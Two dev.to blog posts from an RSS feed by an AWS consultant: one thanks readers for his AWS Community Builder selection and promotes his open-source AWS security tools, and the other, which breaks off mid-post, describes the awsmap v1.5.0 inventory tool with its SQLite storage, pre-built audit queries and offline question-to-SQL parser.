      <title>I Just Became an AWS Community Builder … And I Owe It to You</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Fri, 06 Mar 2026 12:54:32 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/i-just-became-an-aws-community-builder-and-i-owe-it-to-you-45c0</link>
      <guid>https://dev.to/tarekcheikh/i-just-became-an-aws-community-builder-and-i-owe-it-to-you-45c0</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8s54kced2bn7w9qvdch2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8s54kced2bn7w9qvdch2.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  A thank you to my readers, and a call to support open source AWS tools
&lt;/h3&gt;

&lt;p&gt;A few days ago, I received an email that made my day: &lt;strong&gt;I’ve been selected as an AWS Community Builder&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For those unfamiliar, the AWS Community Builders program (&lt;a href="https://aws.amazon.com/developer/community/community-builders/" rel="noopener noreferrer"&gt;https://aws.amazon.com/developer/community/community-builders/&lt;/a&gt;) recognizes passionate technologists who share knowledge, create content, and contribute to the AWS ecosystem. It’s a recognition from AWS itself that your work matters and honestly, it’s a recognition I’m really proud of.&lt;/p&gt;

&lt;p&gt;But here’s the thing: &lt;strong&gt;I didn’t get here alone. You did this&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Thank You
&lt;/h3&gt;

&lt;p&gt;Every article you’ve read. Every clap you’ve given. Every comment, every share, every “this helped me” message … it all added up. When I started writing on Medium about AWS security, cloud architecture, and open source tools, I wasn’t sure anyone would care. Turns out, you did.&lt;/p&gt;

&lt;p&gt;To every single one of you who took the time to read my posts, try my tools, or just follow along: &lt;strong&gt;thank you&lt;/strong&gt;. This AWS Community Builder badge belongs to all of us.&lt;/p&gt;

&lt;h3&gt;
  
  
  What I’ve Been Building
&lt;/h3&gt;

&lt;p&gt;Over the past years, I’ve been pouring my evenings and weekends into open source projects designed to help AWS practitioners like you. These tools solve real problems I’ve encountered across 50+ production AWS projects:&lt;/p&gt;

&lt;h4&gt;
  
  
  awsmap
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjzo6jiwu6nvsms35vmrq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjzo6jiwu6nvsms35vmrq.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Map Your Entire AWS Account in Minutes. A fast, comprehensive tool for mapping and inventorying AWS resources across &lt;strong&gt;150+ services and all regions&lt;/strong&gt;. Stop wondering what’s running in your account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/strong&gt; : &lt;a href="https://github.com/TocConsulting/awsmap" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/awsmap&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  s3-security-scanner
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgd9nri358jdin4gny8il.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgd9nri358jdin4gny8il.jpeg" width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Comprehensive S3 Security Auditing. A full-fledged S3 security scanner with compliance mapping for &lt;strong&gt;CIS, PCI-DSS, HIPAA, SOC 2, ISO &amp;amp; GDPR&lt;/strong&gt;. Know exactly where your S3 buckets stand.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/strong&gt; : &lt;a href="https://github.com/TocConsulting/s3-security-scanner" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/s3-security-scanner&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  iam-activity-tracker
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbawiilsr9inuclr9dh9o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbawiilsr9inuclr9dh9o.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Serverless IAM Monitoring. A serverless solution for tracking and auditing &lt;strong&gt;IAM, STS, and AWS Console sign-in activities&lt;/strong&gt; across all regions with real-time alerts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/strong&gt; : &lt;a href="https://github.com/TocConsulting/iam-activity-tracker" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/iam-activity-tracker&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  cryptex
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3ng2dwfapp07dras1o5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3ng2dwfapp07dras1o5.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Enterprise-Grade Password Generator. A CLI password generator with &lt;strong&gt;AWS Secrets Manager, HashiCorp Vault, and OS Keychain&lt;/strong&gt; integrations. Stop using &lt;code&gt;_openssl rand_&lt;/code&gt; for everything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/strong&gt; : &lt;a href="https://github.com/TocConsulting/cryptex" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/cryptex&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  cognito-api
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs03x2vy6e3u9gkxrgxcm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs03x2vy6e3u9gkxrgxcm.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Authentication Made Simple. A secure user authentication system using &lt;strong&gt;AWS Cognito + Terraform&lt;/strong&gt;. Production-ready auth without the headaches.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/strong&gt; : &lt;a href="https://github.com/TocConsulting/cognito-api" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/cognito-api&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  aws-helper-scripts
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqq5ayfqrgreqrw2pz4kw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqq5ayfqrgreqrw2pz4kw.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Security &amp;amp; Cost Optimization Toolkit. A comprehensive collection of scripts for &lt;strong&gt;AWS security auditing and cost optimization&lt;/strong&gt;. The Swiss Army knife for your AWS account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/strong&gt; : &lt;a href="https://github.com/TocConsulting/aws-helper-scripts" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/aws-helper-scripts&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  small-file-sharing
&lt;/h4&gt;

&lt;p&gt;Serverless File Sharing. A lightweight file sharing app built with &lt;strong&gt;AWS Lambda + S3&lt;/strong&gt;. Simple, secure, serverless.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/strong&gt; : &lt;a href="https://github.com/TocConsulting/small-file-sharing" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/small-file-sharing&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Stars Matter (More Than You Think)
&lt;/h3&gt;

&lt;p&gt;I know, “give me stars” sounds like a vanity ask. But here’s the reality of open source:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Stars = Visibility&lt;/strong&gt;. GitHub’s algorithm surfaces starred repos. More stars mean more developers discover these tools.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stars = Trust&lt;/strong&gt;. When an engineer evaluates a tool, star count is one of the first signals they check. A well-starred project gets adopted. An unknown one gets skipped.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stars = Motivation&lt;/strong&gt;. Open source is unpaid labor. Every star is a signal that someone found value in the work. It keeps builders going.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These tools are &lt;strong&gt;free, open source, and actively maintained&lt;/strong&gt;. If any of them have helped you or if you believe in making AWS security accessible, a star takes 2 seconds and makes a real difference.&lt;/p&gt;

&lt;h3&gt;
  
  
  How You Can Help
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;It takes literally 2 seconds:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Visit &lt;a href="https://github.com/TocConsulting" rel="noopener noreferrer"&gt;https://github.com/TocConsulting&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Click the star on any repo that interests you
&lt;/li&gt;
&lt;li&gt;That’s it. Seriously.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Bonus points:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Share a repo with a colleague who works with AWS&lt;br&gt;&lt;br&gt;
Try one of the tools and open an issue or PR&lt;br&gt;&lt;br&gt;
Follow &lt;a href="https://github.com/TocConsulting" rel="noopener noreferrer"&gt;TocConsulting&lt;/a&gt; (&lt;a href="https://github.com/TocConsulting" rel="noopener noreferrer"&gt;https://github.com/TocConsulting&lt;/a&gt;) on GitHub for new releases&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s Next
&lt;/h3&gt;

&lt;p&gt;Being an AWS Community Builder opens new doors, more access, more collaboration, more ways to give back. I’m doubling down on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Publishing more AWS security content&lt;/li&gt;
&lt;li&gt;Building new open source tools&lt;/li&gt;
&lt;li&gt;Speaking at more community events&lt;/li&gt;
&lt;li&gt;Connecting with other builders worldwide&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is just the beginning, and I’m grateful you’re part of the journey.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thank you for reading. Thank you for your support. And thank you for being part of this community.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let’s build something great together.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Tarek CHEIKH&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;AWS Community Builder | Founder Toc Consulting (&lt;/em&gt;&lt;/strong&gt;&lt;a href="https://tocconsulting.fr" rel="noopener noreferrer"&gt;&lt;strong&gt;&lt;em&gt;https://tocconsulting.fr)&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;*)&lt;/p&gt;




</description>
      <category>gratitude</category>
      <category>aws</category>
      <category>opensource</category>
      <category>cloudcomputing</category>
    </item>
    <item>
      <title>awsmap v1.5.0: Your AWS Inventory Now Has a Brain</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Thu, 26 Feb 2026 21:15:43 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/awsmap-v150-your-aws-inventory-now-has-a-brain-1ga5</link>
      <guid>https://dev.to/tarekcheikh/awsmap-v150-your-aws-inventory-now-has-a-brain-1ga5</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frz2ztvyakj8x63xiuimm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frz2ztvyakj8x63xiuimm.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A few weeks ago I published awsmap. Scan your AWS account. 140 services. One command.&lt;/p&gt;

&lt;p&gt;2,300 pip installs. 650 Docker pulls. 35 GitHub stars. Two pull requests from strangers. A few comments. Some feature requests. People were actually using it.&lt;/p&gt;

&lt;p&gt;So I kept building. This is v1.5.0.&lt;/p&gt;

&lt;h3&gt;
  
  
  New Report
&lt;/h3&gt;

&lt;p&gt;The HTML report got rebuilt from the ground up. The design now follows the Cloudscape design system, same design language used by the AWS Console.&lt;/p&gt;

&lt;p&gt;Dashboard cards. Top services chart. Top regions chart. Region-coded badges, blue for us-*, green for eu-*, orange for ap-*. Dark mode. Global search across every resource. Filter by service, region, or tag. Click an ARN, it copies. Click a tag badge, it expands. Export the filtered view to CSV. Print it.&lt;/p&gt;

&lt;p&gt;Still a single HTML file. No dependencies. Open it in any browser, share it on Slack, attach it to a ticket.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe7pobo5bvnpw4v0ljrd6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe7pobo5bvnpw4v0ljrd6.png" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Everything Goes to SQLite
&lt;/h3&gt;

&lt;p&gt;This is the biggest change in v1.5.0.&lt;/p&gt;

&lt;p&gt;Every time you scan, every resource goes into a local SQLite database. Automatically. No setup. No config.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~/.awsmap/inventory.db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scan again next week, both scans are stored. Scan a different account, same database. You’re building an inventory history without trying.&lt;/p&gt;

&lt;p&gt;Why does this matter? Because the scan is no longer a one-shot event. The data lives. You can query it tomorrow, next week, next month.&lt;/p&gt;

&lt;p&gt;Don’t want the database? &lt;code&gt;-- **_no-db_**&lt;/code&gt; skips it. You still get your HTML/JSON/CSV report, same as before. Nothing breaks.&lt;/p&gt;

&lt;h3&gt;
  
  
  awsmap query
&lt;/h3&gt;

&lt;p&gt;New command. Raw SQL against your inventory.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap query "SELECT service, COUNT(*) as count FROM resources GROUP BY service ORDER BY count DESC"

service count
------------- -----
vpc 1047
iam 842
lambda 631
logs 551
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuz2jf9c1ni8uec33lds8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuz2jf9c1ni8uec33lds8.png" width="800" height="153"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Want JSON? &lt;code&gt;**_-f json_**&lt;/code&gt;. CSV? &lt;code&gt;- **_f csv_**&lt;/code&gt;. Pipe it. Script it. Cron it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap query "SELECT * FROM resources WHERE service='lambda'" -f json
awsmap query "SELECT service, id, name FROM resources" -f csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But I realized something. Most people don’t want to write SQL.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pre-Built Queries
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fejfvuecxkf5ec3s1ol8d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fejfvuecxkf5ec3s1ol8d.png" width="800" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Security audit Monday morning. You need to know which IAM users have admin permissions. Including users who get admin through group membership. That’s a self-join with EXISTS subqueries. Nobody wants to type that.&lt;/p&gt;

&lt;p&gt;So awsmap ships 30 pre-built queries. One flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap query -n admin-users

name account_id mfa groups admin_source
--------- ------------ --- ------------ ------------
tarek-adm 012345678912 0 ["adminGrp"] DIRECT
tarek 012345678912 0 ["adminGrp"] VIA GROUP
tarek 000011112222 1 [] DIRECT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That tells you which users have admin directly and which get it through group membership. No MFA on an admin account? That’s a finding.&lt;/p&gt;

&lt;h4&gt;
  
  
  Security
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap query -n admin-users
awsmap query -n admin-roles
awsmap query -n users-without-mfa
awsmap query -n iam-inactive-users
awsmap query -n old-access-keys
awsmap query -n cross-account-roles
awsmap query -n open-security-groups
awsmap query -n secrets-no-rotation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  s3
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap query -n public-s3-buckets
awsmap query -n encryption-status
awsmap query -n s3-no-versioning
awsmap query -n s3-no-logging
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  EC2 / EBS
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap query -n stopped-instances
awsmap query -n unused-volumes
awsmap query -n ebs-unencrypted
awsmap query -n unused-eips
awsmap query -n default-vpcs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  RDS
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap query -n rds-public
awsmap query -n rds-unencrypted
awsmap query -n rds-no-multi-az
awsmap query -n rds-engines
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Lambda &amp;amp; Inventory
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap query -n lambda-runtimes
awsmap query -n lambda-high-memory
awsmap query -n resources-by-service
awsmap query -n resources-by-region
awsmap query -n resources-by-account
awsmap query -n resources-per-account-service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Tags &amp;amp; Compliance
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap query -n untagged-resources
awsmap query -n missing-tag -P tag=Environment
awsmap query -n resources-by-tag -P tag=Owner
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;List them all with &lt;code&gt;awsmap query — list&lt;/code&gt;. See the SQL behind any query with &lt;code&gt;**_awsmap query -n admin-users_**&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;You can add your own. Drop a &lt;code&gt;**_.sql_**&lt;/code&gt; file in &lt;code&gt;**_~/.awsmap/queries/_**&lt;/code&gt; and it shows up in the list.&lt;/p&gt;

&lt;h3&gt;
  
  
  awsmap ask
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzvqdrm5sgqkkfca8ys5m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzvqdrm5sgqkkfca8ys5m.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Some people don’t want SQL at all. They want to ask a question in English.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap ask how many Lambda functions per region

region count
------------- -----
eu-west-1 45
us-east-1 32
eu-central-1 12
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;awsmap translates your question to SQL using a built-in zero-dependency parser. Everything runs on your machine. No API keys. No cloud calls. Your data stays on your laptop.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap ask show me all EC2 instances without Owner tag
awsmap ask which S3 buckets are in eu-west-1
awsmap ask find IAM users without MFA
awsmap ask count RDS instances using mysql per region
awsmap ask show me my databases
awsmap ask show me secrets older than 90 days
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Why Not Use an LLM?
&lt;/h4&gt;

&lt;p&gt;I tried. Ollama with local models gave ~80% accuracy. One in five queries returned wrong SQL. OpenAI and Anthropic APIs were better but cost money and require network.&lt;/p&gt;

&lt;p&gt;So I built a deterministic parser from scratch. Zero dependencies. Tested against &lt;strong&gt;1500 realistic questions with 100% pass rate&lt;/strong&gt;. It handles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Synonyms&lt;/strong&gt; : “databases” finds RDS, “containers” finds ECS, “certs” finds ACM
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Typo tolerance&lt;/strong&gt; : “lamda” matches Lambda, “instaces” matches instances
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Engine patterns&lt;/strong&gt; : “RDS using postgres”, “ElastiCache using redis”
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Numeric fields&lt;/strong&gt; : “with allocated_storage greater than 50”, “with iops greater than 3000”
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Relative time&lt;/strong&gt; : “created in the last 30 days”, “older than 90 days”
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keyword-value&lt;/strong&gt; : “with storage type gp3”, “with scheduling strategy REPLICA”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No API keys. No network. No cost. Instant results.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftw9c8lyygbgx6uu9zw05.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftw9c8lyygbgx6uu9zw05.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  awsmap examples
&lt;/h3&gt;

&lt;p&gt;1381 pre-built questions, organized by service. Browse them, search them, run them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# List all services with question counts
awsmap examples

# Browse questions for a service
awsmap examples lambda

# Run question #5 directly
awsmap examples lambda 5

# Search across everything
awsmap examples --search "public"
awsmap examples --search "encryption"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You don’t have to memorize the query syntax. Just browse and pick.&lt;/p&gt;

&lt;h3&gt;
  
  
  awsmap config
&lt;/h3&gt;

&lt;p&gt;Set persistent defaults so you stop repeating flags.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap config set profile production
awsmap config set regions us-east-1,eu-west-1
awsmap config set exclude_defaults true

# Now just run:
awsmap
# Equivalent to: awsmap -p production -r us-east-1,eu-west-1 --exclude-defaults
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Available keys: &lt;code&gt;**_profile_**&lt;/code&gt;, &lt;code&gt;**_regions_**&lt;/code&gt;, &lt;code&gt;**_services_**&lt;/code&gt;, &lt;code&gt;**_format_**&lt;/code&gt;, &lt;code&gt;**workers**&lt;/code&gt;, &lt;code&gt;**_exclude\_defaults_**&lt;/code&gt;, &lt;code&gt;**db**&lt;/code&gt;, &lt;code&gt;**_query\_format_**&lt;/code&gt;. CLI flags always override config.&lt;/p&gt;

&lt;h3&gt;
  
  
  Multi-Account
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu4027qvoqxq5tw5e836t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu4027qvoqxq5tw5e836t.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In Part 1, awsmap scanned one account at a time. Now it scans many and stores them in the same database.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap -p production
awsmap -p staging
awsmap -p dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three scans. One database. Query across all of them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap query -n resources-by-account
awsmap ask how many resources per account
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



